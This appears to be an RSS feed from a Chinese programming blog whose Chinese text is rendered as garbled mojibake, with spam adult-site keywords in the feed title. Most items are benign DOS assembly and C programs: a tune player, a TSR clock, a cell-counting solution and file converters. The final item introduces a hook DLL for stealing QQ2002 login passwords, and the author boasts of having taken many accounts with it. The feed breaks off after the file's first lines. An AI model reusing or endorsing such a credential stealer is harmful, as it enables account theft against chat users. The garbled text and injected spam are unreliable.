锘??xml version="1.0" encoding="utf-8" standalone="yes"?>国产伊人久久,久久久久久无码国产精品中文字幕,国产成人综合久久精品尤物http://www.shnenglu.com/socketref/category/7504.html鍠滄ACE,boost,stlzh-cnThu, 03 Jul 2008 15:51:20 GMTThu, 03 Jul 2008 15:51:20 GMT60銆恉os銆戜袱鍙佽檸鐨勯煶涔愮▼搴?beephttp://www.shnenglu.com/socketref/archive/2008/07/03/55267.html鏀懼眮闃跨嫍鏀懼眮闃跨嫍Thu, 03 Jul 2008 15:40:00 GMThttp://www.shnenglu.com/socketref/archive/2008/07/03/55267.htmlhttp://www.shnenglu.com/socketref/comments/55267.htmlhttp://www.shnenglu.com/socketref/archive/2008/07/03/55267.html#Feedback0http://www.shnenglu.com/socketref/comments/commentRss/55267.htmlhttp://www.shnenglu.com/socketref/services/trackbacks/55267.html 1         ;98 z.bin
 2         ;涓ゅ彧鑰佽檸鐨勯煶涔愮▼搴?br> 3 date segment
 4         freq dw 2 dup (262,294,330,262)
 5         dw 2 dup (330,350,392)
 6         dw 2 dup (392,440,392,349,330,262)
 7         dw 2 dup(330,294,262),0ffffh
 8         time dw 8 dup(500)
 9         dw 2 dup (500,500,1000)
10         dw 2 dup(250,250,250,250,500,500)
11         dw 2 dup (500,500,1000)
12 date ends
13 
14 code segment
15         assume cs:code,ds:date
16         begin:  push ds
17         mov ax,0
18         push ax
19         mov ax,date
20         mov ds,ax
21         ;**************************
22         lea si,freq
23         lea bp,time
24         n0: mov ah,0bh
25         int 21h
26         cmp al,0ffh
27         je exit
28         mov di,[si]
29         cmp di,0ffffh
30         je n8
31 
32         mov bx,ds:[bp]
33         call s_sound
34         add si,2
35         add bp,2
36         jmp n0
37         n8: lea si,freq
38         lea bp,time
39         jmp n0
40         exit:mov ah,4ch
41         int 21h
42         s_sound proc near
43         push  bp
44         push si
45 
46         mov al,0b6h
47         out 43h,al
48         mov dx,12h
49         mov ax,533h*896
50         div di
51         out 42h,al
52         mov al,ah
53         out 42h,al
54         in al,61h
55         mov ah,al
56         or al,3
57         out 61h,al
58 
59         n1:  mov cx,2801h
60         n2: loop n2
61 
62         dec bx
63         jnz n1
64         mov al,ah
65         out 61h,al
66         pop si
67         pop bp
68         ret
69         s_sound endp
70         code ends
71         end begin
72 
73 
74 
75 
76 
77 


鏀懼眮闃跨嫍 2008-07-03 23:40 鍙戣〃璇勮
]]>
銆怐os銆慣SR 鏃墮挓紼嬪簭 clock.comhttp://www.shnenglu.com/socketref/archive/2008/07/03/55265.html鏀懼眮闃跨嫍鏀懼眮闃跨嫍Thu, 03 Jul 2008 15:39:00 GMThttp://www.shnenglu.com/socketref/archive/2008/07/03/55265.htmlhttp://www.shnenglu.com/socketref/comments/55265.htmlhttp://www.shnenglu.com/socketref/archive/2008/07/03/55265.html#Feedback0http://www.shnenglu.com/socketref/comments/commentRss/55265.htmlhttp://www.shnenglu.com/socketref/services/trackbacks/55265.html        clock 鍥炶濺  鍦ㄥ睆騫曞彸涓婅鏄劇ず鏃墮棿鍜屼綔鑰呭悕錛屽悓鏃墮鑹插彉鍖?br>        clock uninstall  鍥炶濺  鍗歌澆鏃墮挓
  1 ;98   z.bin
  2 
  3 code segment
  4         assume cs:code,ds:code
  5         org 100h
  6 
  7 begin:
  8         jmp install
  9         d1 db 'z'
 10         old dd ?
 11         c db 0
 12         color db 0
 13         pag db ?
 14         line_23 db 10 dup(20h,0)
 15         line db 'Z',0eh,'B',0eh,'.',0eh,20h,0
 16         line_24 db 2 dup(20h,0ah,20h,0ah,':',8eh),20h,0ah,20h,0ah
 17 start:
 18         inc cs:[c]
 19         cmp byte  ptr cs:[c],8
 20         je n1
 21         jmp dword ptr cs:[old]
 22 n1:
 23         mov byte ptr cs:[c],0
 24         push ax
 25         push bx
 26         push cx
 27         push dx
 28         push ds
 29         push es
 30         push di
 31         push si
 32           
 33         cmp byte ptr cs:[color],15
 34         jae n3
 35         inc cs:[color]
 36         mov bh,cs:[color]
 37         mov byte ptr cs:[line+1],bh
 38         mov byte ptr cs:[line+3],bh
 39         jmp n4
 40 n3:
 41         mov byte ptr cs:[color],0
 42 n4:
 43         mov ah,0fh
 44         int 10h
 45         ;     mov ah,3
 46         ;     int 10h
 47         ;       push dx
 48         mov cs:[pag],bh
 49         mov ax,0b800h
 50         mov es,ax
 51         ;       mov ax,4096
 52         ;      mov bh,pag
 53         ;      mul bh
 54             
 55         ;        mov di,ax
 56         ;      add di,140
 57         mov ax,cs
 58         mov ds,ax
 59         ;      lea  si,line_23
 60         cld
 61         ;      mov cx,20
 62         ;     rep movsb
 63         mov ah,2
 64         int 1ah
 65         push cx
 66         mov ah,ch
 67         mov cl,4
 68         shr ch,cl
 69         add ch,30h
 70         mov byte ptr cs:[line_24],ch
 71         mov ch,ah
 72         and ch,0fh
 73         add ch,30h
 74         mov byte ptr cs:[line_24+2],ch
 75         pop bx
 76         mov ah,bl
 77         shr bl,cl
 78         add bl,30h
 79         mov byte ptr cs:[line_24+6],bl
 80         and ah,0fh
 81         add ah,30h
 82         mov byte ptr cs:[line_24+8],ah
 83         mov ah,dh
 84         shr dh,cl
 85         add dh,30h
 86         mov byte ptr cs:[line_24+12],dh
 87         and ah,0fh
 88         add ah,30h
 89         mov byte ptr cs:[line_24+14],ah
 90         mov ax,4096
 91         mov bh,pag
 92         mul bh
 93         mov di,ax
 94         add di,134
 95         lea si,line
 96         mov cx,24
 97         rep  movsb
 98 
 99         ;     pop dx
100         ;     mov bh,pag
101         ;     mov ah,2
102         ;     int 10h
103         pop si
104         pop di
105         pop es
106         pop ds
107         pop dx
108         pop cx
109         pop bx
110         pop ax
111         iret
112 install:
113         mov ax,351ch
114         int 21h
115         mov word ptr old,bx
116         mov word ptr old+2,es
117         mov si,80h
118         cmp byte ptr cs:[si],0
119         je next
120         cmp byte ptr es:[103h],'z'
121         jne error
122         push ds
123         push dx
124         push di
125         cli
126         lea di,old
127         mov ds,word ptr es:[di+2]
128         mov  dx,word ptr es:[di]
129         mov ax,251ch
130         int 21h
131         sti
132         pop di
133         pop dx
134         pop ds
135         mov ah,49h
136         int 21h
137         jmp eexit
138 error:
139         lea dx, mess
140         mov ah,9
141         int 21h
142 eexit:
143         mov ah,4ch
144         int 21h
145 next:
146         mov ax,251ch
147         lea dx,start
148         int 21h
149         lea dx,install
150         int 27h
151         mess db '      the TSR program no find!$'
152 
153         code ends
154         end begin
155 




鏀懼眮闃跨嫍 2008-07-03 23:39 鍙戣〃璇勮
]]>
銆怐os銆戞眹緙栫‖鐩橀攣http://www.shnenglu.com/socketref/archive/2008/07/03/55263.html鏀懼眮闃跨嫍鏀懼眮闃跨嫍Thu, 03 Jul 2008 15:32:00 GMThttp://www.shnenglu.com/socketref/archive/2008/07/03/55263.htmlhttp://www.shnenglu.com/socketref/comments/55263.htmlhttp://www.shnenglu.com/socketref/archive/2008/07/03/55263.html#Feedback0http://www.shnenglu.com/socketref/comments/commentRss/55263.htmlhttp://www.shnenglu.com/socketref/services/trackbacks/55263.html  紜洏閿?nbsp;HDD3.EXE   紼嬪簭:   zbin    1997-0...  闃呰鍏ㄦ枃

鏀懼眮闃跨嫍 2008-07-03 23:32 鍙戣〃璇勮
]]>
[DOS]褰撳垵鍋氱殑涓閬撶粏鑳為棶棰樼殑浠g爜http://www.shnenglu.com/socketref/archive/2008/07/03/55261.html鏀懼眮闃跨嫍鏀懼眮闃跨嫍Thu, 03 Jul 2008 15:26:00 GMThttp://www.shnenglu.com/socketref/archive/2008/07/03/55261.htmlhttp://www.shnenglu.com/socketref/comments/55261.htmlhttp://www.shnenglu.com/socketref/archive/2008/07/03/55261.html#Feedback0http://www.shnenglu.com/socketref/comments/commentRss/55261.htmlhttp://www.shnenglu.com/socketref/services/trackbacks/55261.html  1 ;緇嗚優闂瑙e喅鏂規 1997 zbin
  2 date segment
  3        sum dw 0
  4        s7 dw ?
  5        s6 dw ?
  6        s5 dw ?
  7        s3 dw ?
  8        s4 dw ?
  9        buf1 db  103 dup (20h)
 10        buf2 db 100 dup (310 dup(20h))
 11        buf3 db 100 dup (20h)
 12        s1 dw ?
 13        s2 dw ?
 14        flag1 db 100
 15        flag2 db 10
 16        file db 'input.txt',0
 17        handle dw ?
 18        leth dw ?
 19        date ends
 20  code segment
 21    assume cs:code,ds:date,es:date
 22   main proc far
 23  ;  *******************
 24     push ds
 25      mov ax,0
 26       push ax
 27       mov ax,date
 28       mov ds,ax
 29       mov es,ax
 30 ;*************************
 31        mov ah,3dh      
 32         lea dx,file
 33         mov al,0
 34         int 21h
 35      mov handle,ax
 36      mov bx,ax
 37      mov ah,42h
 38      mov al,2
 39      mov cx,0
 40      mov dx,0
 41     int 21h
 42 
 43      mov leth,ax
 44      mov ah,42h
 45     mov al,0
 46     mov cx,0                                      
 47     mov dx,0
 48     int 21h
 49 
 50      mov ah,3fh       
 51      mov cx,leth
 52      mov bx,handle
 53      lea dx,buf2
 54      int 21h
 55 
 56        lea di,buf2
 57    a2: cmp byte ptr [di],30h
 58        jg a1               
 59        inc di
 60        jmp a2
 61    a1:  mov s1,di         
 62    a3: inc di
 63        cmp byte ptr [di],20h
 64        jne  a3
 65         mov cx,di
 66         sub cx,s1
 67         call sec
 68         mov dx,s4
 69        mov s3,dx
 70 
 71         add di,2
 72         mov s1,di
 73    a8:  inc di
 74         cmp byte ptr [di],30h
 75         jge a8
 76         mov cx,di
 77         sub cx,s1
 78         call sec
 79 
 80          mov ah,3eh
 81          mov bx,handle
 82          int 21h
 83          ;************
 84        mov ax,s3
 85        mov bx,s4
 86        mul bx
 87        mov s5,ax
 88        mov si,0
 89        mov cx,s3
 90    n2: push cx
 91        mov cx,s4
 92    n1: cmp byte ptr [di],30h
 93        jge n0
 94        inc di
 95        jmp n1
 96   n0:  mov bl,byte ptr [di]
 97        mov buf2[si],bl
 98        inc si
 99        inc di
100        loop n1
101        mov buf2[si],0
102        mov buf2[si+1],0
103        add si,2
104        pop cx
105        loop n2
106        mov cx,s4
107        inc cx
108  n3:    mov buf2[si],0
109         inc si
110         loop n3
111         mov cx,s5
112        lea di,buf2
113   n4:  mov s7,di
114        cmp byte ptr [di],30h
115        jb c0
116        jmp c1
117   c0:  inc di
118        jmp n4
119   c1:  cmp byte ptr [di],30h
120        ja n5
121   n8:  mov di,s7
122        inc di
123        loop n4
124        jmp next
125    n5: mov bx,s4
126        add bx,2
127        mov si,0ffffh
128        push si
129    n6:  mov byte ptr [di],30h
130         mov s6,di
131         sub di,bx
132         push di
133         mov di,s6
134         dec di
135         push di
136         mov di,s6
137         add di,bx
138         push di
139         mov di,s6
140         inc di
141         push di
142    n7:
143        pop di
144        cmp di,0ffffh
145        je n9
146        cmp byte ptr [di],30h
147        jg n6
148        jmp n7
149    n9: mov si,1
150        add sum,si
151        jmp n8
152 
153   next: mov bx,sum
154        call disp
155        mov ah,4ch
156        int 21h
157     main endp
158 
159     sec proc near
160         cmp cx,3
161         je a4
162         cmp cx,2
163         je  a5
164         mov al,byte ptr [di-1]
165         sub al,30h
166         mov ah,0
167         mov bx,ax
168    a6:  mov s4,bx
169         jmp a7
170    a4: mov bx,100
171        jmp a6
172   a5: mov al,byte ptr [di-2]
173       sub al,30h
174       mov dl,10
175       mul dl
176       mov bx,ax
177       mov al,byte ptr [di-1]
178       sub al,30h
179       mov ah,0
180       add bx,ax
181       jmp a6
182  a7:  ret
183      sec endp
184 
185     disp proc near
186          mov cx,10000
187          call clu
188          mov cx,1000
189          call clu
190          mov cx,100
191          call clu
192          mov cx,10
193          call clu
194          mov cx,1
195          call clu
196           ret
197          disp endp
198   clu proc near
199       mov ax,bx
200       mov dx,0
201       div cx
202       mov bx,dx
203       mov dl,al
204       add dl,30h
205       cmp dl,30h
206       je f1
207       jmp f2
208   f1: ret
209   f2: mov ah,02h
210       int 21h
211       ret
212       clu endp
213              code ends
214                 end main
215 
216 
217 


鏀懼眮闃跨嫍 2008-07-03 23:26 鍙戣〃璇勮
]]>
銆恉os銆戝皢鏂囨湰鏂囦歡杞寲鎴怑XE鏂囦歡錛屽繕浜嗗綋鍒濈殑鍑哄彂鐐規槸鍟?/title><link>http://www.shnenglu.com/socketref/archive/2008/07/03/55260.html</link><dc:creator>鏀懼眮闃跨嫍</dc:creator><author>鏀懼眮闃跨嫍</author><pubDate>Thu, 03 Jul 2008 15:24:00 GMT</pubDate><guid>http://www.shnenglu.com/socketref/archive/2008/07/03/55260.html</guid><wfw:comment>http://www.shnenglu.com/socketref/comments/55260.html</wfw:comment><comments>http://www.shnenglu.com/socketref/archive/2008/07/03/55260.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/socketref/comments/commentRss/55260.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/socketref/services/trackbacks/55260.html</trackback:ping><description><![CDATA[<div style="border: 1px solid #cccccc; padding: 4px 5px 4px 4px; background-color: #eeeeee; font-size: 13px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #008080;">  1</span> <span style="color: #000000;">;灝嗘枃鏈枃浠惰漿鍖栨垚EXE鏂囦歡 </span><span style="color: #000000;">97</span><span style="color: #000000;"> zbin<br></span><span style="color: #008080;">  2</span> <span style="color: #000000;"><br></span><span style="color: #008080;">  3</span> <span style="color: #000000;">  code segment<br></span><span style="color: #008080;">  4</span> <span style="color: #000000;">   org 100h<br></span><span style="color: #008080;">  5</span> <span style="color: #000000;">    assume cs:code,ds:code,es:code<br></span><span style="color: #008080;">  6</span> <span style="color: #000000;">    b0:  jmp b2<br></span><span style="color: #008080;">  7</span> <span style="color: #000000;">        file db </span><span style="color: #000000;">13</span><span style="color: #000000;"> dup (</span><span style="color: #000000;">?</span><span style="color: #000000;">)<br></span><span style="color: #008080;">  8</span> <span style="color: #000000;">       handle dw </span><span style="color: #000000;">?</span><span style="color: #000000;"><br></span><span style="color: #008080;">  9</span> <span style="color: #000000;">       lenth dw </span><span style="color: #000000;">?</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 10</span> <span style="color: #000000;"><br></span><span style="color: #008080;"> 11</span> <span style="color: #000000;"><br></span><span style="color: #008080;"> 12</span> <span style="color: #000000;">      b1: push cs<br></span><span style="color: #008080;"> 13</span> <span style="color: #000000;">          pop ds<br></span><span style="color: #008080;"> 14</span> <span style="color: #000000;">           mov cx,</span><span style="color: #000000;">0</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 15</span> <span style="color: #000000;">           lea si,buf1<br></span><span style="color: #008080;"> 16</span> <span style="color: #000000;">       n1:lodsb<br></span><span style="color: #008080;"> 17</span> <span style="color: #000000;">          cmp al,1ah<br></span><span style="color: #008080;"> 18</span> <span style="color: #000000;">          je exit<br></span><span style="color: #008080;"> 19</span> <span style="color: #000000;">          cmp al,0dh<br></span><span style="color: #008080;"> 20</span> <span style="color: #000000;">          je n3<br></span><span style="color: #008080;"> 21</span> <span style="color: #000000;">       n4:mov dl,al<br></span><span style="color: #008080;"> 22</span> <span style="color: #000000;">         mov ah,2h<br></span><span style="color: #008080;"> 23</span> <span style="color: #000000;">         </span><span style="color: #0000ff;">int</span><span style="color: #000000;"> 21h<br></span><span style="color: #008080;"> 24</span> <span style="color: #000000;">         jmp n1<br></span><span style="color: #008080;"> 25</span> <span style="color: #000000;">     n3: inc cx<br></span><span style="color: #008080;"> 26</span> <span style="color: #000000;">          cmp cx,</span><span style="color: #000000;">15</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 27</span> <span style="color: #000000;">          je n5<br></span><span style="color: #008080;"> 28</span> <span style="color: #000000;">          jmp n4<br></span><span style="color: #008080;"> 29</span> <span style="color: #000000;">   n5:  mov ah,</span><span style="color: #000000;">0</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 30</span> <span style="color: #000000;">       </span><span style="color: #0000ff;">int</span><span style="color: #000000;"> 16h<br></span><span style="color: #008080;"> 31</span> <span style="color: #000000;">       mov cx,</span><span style="color: #000000;">0</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 32</span> <span style="color: #000000;">       jmp n4<br></span><span style="color: #008080;"> 33</span> <span style="color: #000000;">  exit:  mov ah,4ch<br></span><span style="color: #008080;"> 34</span> <span style="color: #000000;">         </span><span style="color: #0000ff;">int</span><span style="color: #000000;"> 21h<br></span><span style="color: #008080;"> 35</span> <span style="color: #000000;"> buf1 db </span><span style="color: #000000;">40</span><span style="color: #000000;"> dup(</span><span style="color: #000000;">1024</span><span style="color: #000000;"> dup(</span><span style="color: #000000;">?</span><span style="color: #000000;">))<br></span><span style="color: #008080;"> 36</span> <span style="color: #000000;">     <br></span><span style="color: #008080;"> 37</span> <span style="color: #000000;">    ;</span><span style="color: #000000;">**************************</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 38</span> <span style="color: #000000;">    b2: mov si,81h<br></span><span style="color: #008080;"> 39</span> <span style="color: #000000;">    m1: lodsb<br></span><span style="color: #008080;"> 40</span> <span style="color: #000000;">        cmp al,20h<br></span><span style="color: #008080;"> 41</span> <span style="color: #000000;">        je m1<br></span><span style="color: #008080;"> 42</span> <span style="color: #000000;">        dec si<br></span><span style="color: #008080;"> 43</span> <span style="color: #000000;">        mov di,si<br></span><span style="color: #008080;"> 44</span> <span style="color: #000000;">        mov cx,</span><span style="color: #000000;">20</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 45</span> <span style="color: #000000;">        cld<br></span><span style="color: #008080;"> 46</span> <span style="color: #000000;">        mov al,0dh<br></span><span style="color: #008080;"> 47</span> <span style="color: #000000;">        repnz scasb<br></span><span style="color: #008080;"> 48</span> <span style="color: #000000;">        dec di<br></span><span style="color: #008080;"> 49</span> <span style="color: #000000;">        mov </span><span style="color: #0000ff;">byte</span><span style="color: #000000;"> ptr cs:[di],</span><span style="color: #000000;">0</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 50</span> <span style="color: #000000;">        mov dx,si<br></span><span style="color: #008080;"> 51</span> <span style="color: #000000;">        mov di,si<br></span><span style="color: #008080;"> 52</span> <span style="color: #000000;">        mov cx,</span><span style="color: #000000;">10</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 53</span> <span style="color: #000000;">        mov al,</span><span style="color: #000000;">'</span><span style="color: #000000;">.</span><span style="color: #000000;">'</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 54</span> <span style="color: #000000;">        cld<br></span><span style="color: #008080;"> 55</span> <span style="color: #000000;">        repnz scasb<br></span><span style="color: #008080;"> 56</span> <span style="color: #000000;">        dec di<br></span><span style="color: #008080;"> 57</span> <span style="color: #000000;">        sub di,si<br></span><span style="color: #008080;"> 58</span> <span style="color: #000000;">        mov cx,di<br></span><span style="color: #008080;"> 59</span> <span style="color: #000000;">        lea di,file<br></span><span style="color: #008080;"> 60</span> <span style="color: #000000;">        cld<br></span><span style="color: #008080;"> 61</span> <span style="color: #000000;">        rep movsb<br></span><span style="color: #008080;"> 62</span> <span style="color: #000000;">        mov </span><span style="color: #0000ff;">byte</span><span style="color: #000000;"> ptr[di],</span><span style="color: #000000;">'</span><span style="color: #000000;">.</span><span style="color: #000000;">'</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 63</span> <span style="color: #000000;">        mov </span><span style="color: #0000ff;">byte</span><span style="color: #000000;"> ptr[di</span><span style="color: #000000;">+</span><span style="color: #000000;">1</span><span style="color: #000000;">],</span><span style="color: #000000;">'</span><span style="color: #000000;">e</span><span style="color: #000000;">'</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 64</span> <span style="color: #000000;">        mov </span><span style="color: #0000ff;">byte</span><span style="color: #000000;"> ptr[di</span><span style="color: #000000;">+</span><span style="color: #000000;">2</span><span style="color: #000000;">],</span><span style="color: #000000;">'</span><span style="color: #000000;">x</span><span style="color: #000000;">'</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 65</span> <span style="color: #000000;">        mov </span><span style="color: #0000ff;">byte</span><span style="color: #000000;"> ptr[di</span><span style="color: #000000;">+</span><span style="color: #000000;">3</span><span style="color: #000000;">],</span><span style="color: #000000;">'</span><span style="color: #000000;">e</span><span style="color: #000000;">'</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 66</span> <span style="color: #000000;">        mov </span><span style="color: #0000ff;">byte</span><span style="color: #000000;"> ptr[di</span><span style="color: #000000;">+</span><span style="color: #000000;">4</span><span style="color: #000000;">],</span><span style="color: #000000;">0</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 67</span> <span style="color: #000000;"> ;</span><span style="color: #000000;">***************************</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 68</span> <span style="color: #000000;">       mov ah,3dh<br></span><span style="color: #008080;"> 69</span> <span style="color: #000000;">        mov al,</span><span style="color: #000000;">0</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 70</span> <span style="color: #000000;">        </span><span style="color: #0000ff;">int</span><span style="color: #000000;"> 21h<br></span><span style="color: #008080;"> 71</span> <span style="color: #000000;">        mov handle,ax<br></span><span style="color: #008080;"> 72</span> <span style="color: #000000;">        mov bx,ax<br></span><span style="color: #008080;"> 73</span> <span style="color: #000000;">        mov ah,42h<br></span><span style="color: #008080;"> 74</span> <span style="color: #000000;">        mov  cx,</span><span style="color: #000000;">0</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 75</span> <span style="color: #000000;">        mov al,</span><span style="color: #000000;">2</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 76</span> <span style="color: #000000;">        mov dx,</span><span style="color: #000000;">0</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 77</span> <span style="color: #000000;">        </span><span style="color: #0000ff;">int</span><span style="color: #000000;"> 21h<br></span><span style="color: #008080;"> 78</span> <span style="color: #000000;">        mov lenth,ax<br></span><span style="color: #008080;"> 79</span> <span style="color: #000000;">        mov ah,42h<br></span><span style="color: #008080;"> 80</span> <span style="color: #000000;">        mov al,</span><span style="color: #000000;">0</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 81</span> <span style="color: #000000;">        mov cx,</span><span style="color: #000000;">0</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 82</span> <span style="color: #000000;">        mov dx,</span><span style="color: #000000;">0</span><span style="color: #000000;"><br></span><span style="color: #008080;"> 83</span> <span style="color: #000000;">        </span><span style="color: #0000ff;">int</span><span style="color: #000000;"> 21h<br></span><span style="color: #008080;"> 84</span> <span style="color: #000000;">        mov cx,lenth<br></span><span style="color: #008080;"> 85</span> <span style="color: #000000;">        mov bx,handle<br></span><span style="color: #008080;"> 86</span> <span style="color: #000000;">        lea dx,buf1<br></span><span style="color: #008080;"> 87</span> <span style="color: #000000;">        mov ah,3fh<br></span><span style="color: #008080;"> 88</span> <span style="color: #000000;">        </span><span style="color: #0000ff;">int</span><span style="color: #000000;"> 21h<br></span><span style="color: #008080;"> 89</span> <span style="color: #000000;">        mov di,lenth<br></span><span style="color: #008080;"> 90</span> <span style="color: #000000;">        mov </span><span style="color: #0000ff;">byte</span><span style="color: #000000;"> ptr buf1[di],1ah<br></span><span style="color: #008080;"> 91</span> <span style="color: #000000;">        mov ah,3eh<br></span><span style="color: #008080;"> 92</span> <span style="color: #000000;">        </span><span style="color: #0000ff;">int</span><span style="color: #000000;"> 21h<br></span><span style="color: #008080;"> 93</span> <span style="color: #000000;"><br></span><span style="color: #008080;"> 94</span> <span style="color: #000000;">     lea ax,b1<br></span><span style="color: #008080;"> 95</span> <span style="color: #000000;">     lea bx,b2<br></span><span style="color: #008080;"> 96</span> <span style="color: #000000;">     sub ax,bx<br></span><span style="color: #008080;"> 97</span> <span style="color: #000000;">     mov lenth,ax<br></span><span style="color: #008080;"> 98</span> <span style="color: #000000;">     mov ah,3ch<br></span><span style="color: #008080;"> 99</span> <span style="color: #000000;">     lea dx,file<br></span><span style="color: #008080;">100</span> <span style="color: #000000;">     mov cx,</span><span style="color: #000000;">0</span><span style="color: #000000;"><br></span><span style="color: #008080;">101</span> <span style="color: #000000;">     </span><span style="color: #0000ff;">int</span><span style="color: #000000;"> 21h<br></span><span style="color: #008080;">102</span> <span style="color: #000000;">     mov handle,ax<br></span><span style="color: #008080;">103</span> <span style="color: #000000;">     mov bx,ax<br></span><span style="color: #008080;">104</span> <span style="color: #000000;">     mov cx,lenth<br></span><span style="color: #008080;">105</span> <span style="color: #000000;">     lea dx,b1<br></span><span style="color: #008080;">106</span> <span style="color: #000000;">     mov ah,40h<br></span><span style="color: #008080;">107</span> <span style="color: #000000;">     </span><span style="color: #0000ff;">int</span><span style="color: #000000;"> 21h<br></span><span style="color: #008080;">108</span> <span style="color: #000000;">    mov ah,3eh<br></span><span style="color: #008080;">109</span> <span style="color: #000000;">    </span><span style="color: #0000ff;">int</span><span style="color: #000000;"> 21h<br></span><span style="color: #008080;">110</span> <span style="color: #000000;">     mov ah,4ch<br></span><span style="color: #008080;">111</span> <span style="color: #000000;">     </span><span style="color: #0000ff;">int</span><span style="color: #000000;"> 21h<br></span><span style="color: #008080;">112</span> <span style="color: #000000;"><br></span><span style="color: #008080;">113</span> <span style="color: #000000;">     code ends<br></span><span style="color: #008080;">114</span> <span style="color: #000000;">      end b0<br></span><span style="color: #008080;">115</span> <span style="color: #000000;"></span></div> <br><img src ="http://www.shnenglu.com/socketref/aggbug/55260.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/socketref/" target="_blank">鏀懼眮闃跨嫍</a> 2008-07-03 23:24 <a href="http://www.shnenglu.com/socketref/archive/2008/07/03/55260.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>銆恉os銆戝皢鏁版嵁鏂囦歡杞寲鎴怣ASM.EXE鑳界紪璇戠殑甯擱噺鏁版嵁http://www.shnenglu.com/socketref/archive/2008/07/03/55259.html鏀懼眮闃跨嫍鏀懼眮闃跨嫍Thu, 03 Jul 2008 15:23:00 GMThttp://www.shnenglu.com/socketref/archive/2008/07/03/55259.htmlhttp://www.shnenglu.com/socketref/comments/55259.htmlhttp://www.shnenglu.com/socketref/archive/2008/07/03/55259.html#Feedback0http://www.shnenglu.com/socketref/comments/commentRss/55259.htmlhttp://www.shnenglu.com/socketref/services/trackbacks/55259.html 1 /*
 2     灝嗘暟鎹枃浠惰漿鍖栨垚MASM.EXE鑳界紪璇戠殑鏁版嵁 98.zbin
 3 
 4 */
 5 
 6 
 7 #include <stdio.h>
 8 #include <bios.h>
 9 #include <io.h>
10 #include <dos.h>
11 #include <dir.h>
12 void main()
13 {
14     char name[40];
15     FILE *p;       int m,n;
16     char *v;
17     long size;
18     int i,j;
19     char ch;
20     char *first="  \tcode segment\n  \t      assume  cs:code,ds:code  \n      \torg 100h\n  begin:\n";
21     char *end="  \tcode ends\n \tend begin";
22     int len1,len2;
23     void *buf;
24     char drive[3];char dir[20];char fname[10];char ext[4];
25     char newname[50];
26     char *extt=".asm";
27 
28     printf("enter the file name:\n");
29     scanf("%s",  name);
30     if((p=fopen(name,"rb"))==NULL)
31     { printf("cann't open <  %s > file!\n",name);
32     exit(0);}
33     size=filelength(fileno(p));
34     buf=(char *)malloc(size);
35     fread(buf,size,1,p);
36     fclose(p);
37     fnsplit(name,drive,dir,fname,ext);
38     fnmerge(newname,drive,dir,fname,extt);
39     if((p=fopen(newname,"wb"))==NULL)
40     {
41     printf("can't creat < %s > file!\n",newname);
42     exit(0);
43     }
44     fprintf(p,"%s\n",first);
45     fprintf(p," db  ");
46     for(i=0,v=buf;i<size;i++,v++)
47     {
48         n=*v;
49         m=n;
50         n=n&0x0f0;
51         n=n>>4;
52         m=m&0x0f;
53         if(i==0)
54         {
55             fprintf(p,"0%x%xh,",n,m);
56             continue;
57         }
58         if((i%15)==0)
59         {
60         fprintf(p,"0%x%xh",n,m);
61         fputc(0x0d,p);
62         fputc(0x0a,p);
63         if(i==(size-1))
64         continue;
65         fprintf(p," db  ");}
66         else
67         {if(i==(size-1))
68         fprintf(p,"0%x%xh",n,m);
69         else
70         fprintf(p,"0%x%xh,",n,m);
71         }
72     }
73     fprintf(p,"\n%s",end);
74     fcloseall();
75     printf(" \t PLEASE EDIT %s\n",newname);
76 
77 }
78 


鏀懼眮闃跨嫍 2008-07-03 23:23 鍙戣〃璇勮
]]>
絳夌洍鍙朡Q2002鐧誨綍瀵嗙爜鐨勪唬鐮?/title><link>http://www.shnenglu.com/socketref/archive/2008/07/03/55256.html</link><dc:creator>鏀懼眮闃跨嫍</dc:creator><author>鏀懼眮闃跨嫍</author><pubDate>Thu, 03 Jul 2008 15:16:00 GMT</pubDate><guid>http://www.shnenglu.com/socketref/archive/2008/07/03/55256.html</guid><wfw:comment>http://www.shnenglu.com/socketref/comments/55256.html</wfw:comment><comments>http://www.shnenglu.com/socketref/archive/2008/07/03/55256.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/socketref/comments/commentRss/55256.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/socketref/services/trackbacks/55256.html</trackback:ping><description><![CDATA[鍑轟簬鐖卞ソ錛屽啓浜嗘灝忕▼搴忥紝鏇劇粡涔熻幏鍙栦簡寰堝QQ<br>閲囩敤鍏變韓鏁版嵁鍖烘柟寮?br> <div style="border: 1px solid #cccccc; padding: 4px 5px 4px 4px; background-color: #eeeeee; font-size: 13px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #008080;">  1</span> <span style="color: #008000;">//</span><span style="color: #008000;"> hook.cpp : Defines the entry point for the DLL application.<br></span><span style="color: #008080;">  2</span> <span style="color: #008000;"></span><span style="color: #008000;">//<br></span><span style="color: #008080;">  3</span> <span style="color: 